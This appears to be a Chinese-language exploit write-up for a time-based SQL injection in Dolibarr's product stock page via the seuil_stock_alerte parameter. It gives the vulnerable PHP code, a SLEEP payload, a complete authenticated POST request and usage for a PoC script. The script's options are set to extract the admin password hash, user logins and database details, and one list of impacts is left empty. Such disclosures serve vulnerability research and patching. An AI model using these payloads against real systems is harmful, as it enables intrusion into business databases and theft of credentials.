负责设置每个仓库的库存警报阈值(`seuil_stock_alerte`)的操作接受用户控制的输入,随后在未进行适当数值转换或参数绑定情况下将其纳入 SQL 查询。 #dolibarr #exploit
通过 seuil_stock_alerte 参数影响产品库存管理功能的 SQL 注入漏洞。
已在以下版本中测试并确认:
seuil_stock_alerte
该参数由以下文件接收:
/product/stock/product.php
使用 addlimitstockwarehouse 操作。
该参数在未进行数值转换的情况下被获取:
$seuil_stock_alerte = GETPOST('seuil_stock_alerte');
$pse->seuil_stock_alerte = $seuil_stock_alerte;
随后通过直接字符串拼接进入 SQL 语句:
$sql .= ' seuil_stock_alerte = '.
(isset($this->seuil_stock_alerte)
? $this->seuil_stock_alerte
: "null").',';
由于该值被插入到未加引号的数值上下文中,因此可以提供一个 SQL 表达式来代替常规数值。
布尔/时间型表达式足以证明执行:
(SELECT IF((1=1),SLEEP(15),0))
示例参数:
seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
成功的请求会产生约 15 秒的 HTTP 响应延迟,确认注入的 SQL 表达式已被执行。
可通过类似以下认证请求触发该漏洞操作:
POST /product/stock/product.php?id=1 HTTP/1.1
Host: target
Cookie: DOLSESSID_xxxxx=<session>
Content-Type: application/x-www-form-urlencoded
action=addlimitstockwarehouse&token=<csrf>&id=1&fk_entrepot=1&desiredstock=1&seuil_stock_alerte=(SELECT IF((1=1),SLEEP(15),0))
要求:
该问题在仅具有以下权限的认证账户下复现:
Product → Create (produit/creer)
权限——一个可以创建产品的低权限账户。
该 SQL 注入可实现:
该系统上的数据库级限制阻止了直接执行操作系统命令。
随附的 PoC 脚本 stock_sqli_poc.py 可自动化利用过程:
python3 stock_sqli_poc.py \
--url http://127.0.0.1:8088 \
--proxy http://127.0.0.1:8080 \
--login webeditor \
--password 'WebEdit0r!' \
--product-id 1 \
--warehouse-id 1 \
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)" \
--length 14
| 选项 | 默认值 | 描述 |
|---|---|---|
--url | http://127.0.0.1:8088 | 目标 Dolibarr 实例 URL |
--proxy | http://127.0.0.1:8080 | HTTP 代理(Burp 等)。设置为空字符串以禁用 |
--login | webeditor | 低权限账户的用户名 |
--password | WebEdit0r! | 账户密码 |
--product-id | 1 | 目标产品 ID |
--warehouse-id | 1 | 目标仓库 ID |
--delay | 1.0 | 用于基于时间检测的 SLEEP 持续时间(秒) |
--extract | (SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1) | 要窃取的 SQL 表达式 |
--length | 14 | 要提取的最大字符长度 |
提取管理员密码哈希:
--extract "(SELECT pass_crypted FROM llx_user WHERE admin=1 LIMIT 1)"
枚举用户:
--extract "(SELECT GROUP_CONCAT(login) FROM llx_user)"
数据库版本:
--extract "VERSION()"
当前数据库用户:
--extract "USER()"
⚠️ 法律声明: 仅对您拥有明确书面授权的系统使用此漏洞利用程序。未经授权访问计算机系统是违法的。此 PoC 仅供教育和授权安全测试目的提供。